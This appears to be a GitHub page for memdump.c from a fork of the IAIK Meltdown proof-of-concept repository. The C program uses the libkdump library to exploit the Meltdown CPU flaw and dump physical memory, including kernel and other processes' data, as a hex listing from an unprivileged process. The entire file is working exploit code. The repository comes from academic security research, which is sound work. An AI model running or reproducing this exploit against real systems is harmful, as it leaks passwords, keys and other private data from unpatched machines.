forked from IAIK/meltdown
-
Notifications
You must be signed in to change notification settings - Fork 0
/
memdump.c
69 lines (57 loc) · 1.56 KB
/
memdump.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include "libkdump.h"
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
size_t phys = 1ull * 1024ull * 1024ull * 1024ull; // start at first gigabyte
if (argc >= 2) {
phys = strtoull(argv[1], NULL, 0);
}
int width = 16; // characters per line
int suppress_empty = 1;
libkdump_config_t config;
config = libkdump_get_autoconfig();
config.retries = 10;
config.measurements = 2;
if (argc >= 3) {
config.physical_offset = strtoull(argv[2], NULL, 0);
}
libkdump_init(config);
size_t vaddr = libkdump_phys_to_virt(phys);
printf(
"\x1b[32;1m[+]\x1b[0m Physical address : \x1b[33;1m0x%zx\x1b[0m\n", phys);
printf("\x1b[32;1m[+]\x1b[0m Physical offset : \x1b[33;1m0x%zx\x1b[0m\n\n", config.physical_offset);
size_t delta = 0;
int i;
char *buffer = malloc(width);
while (1) {
int value = libkdump_read(vaddr + delta);
buffer[delta % width] = value;
if (delta % width == width - 1) {
int skip = 1;
for (i = 0; i < width; i++) {
if (buffer[i]) {
skip = 0;
break;
}
}
if (skip && suppress_empty) {
delta++;
continue;
}
printf("%10zx: ", delta + phys);
printf("| ");
for (i = 0; i < width; i++) {
printf("%02x ", (unsigned char)buffer[i]);
}
printf("| ");
for (i = 0; i < width; i++) {
printf("%c", (buffer[i] >= 32 && buffer[i] <= 126) ? buffer[i] : '.');
}
printf(" |\n");
}
delta++;
}
free(buffer);
libkdump_cleanup();
return 0;
}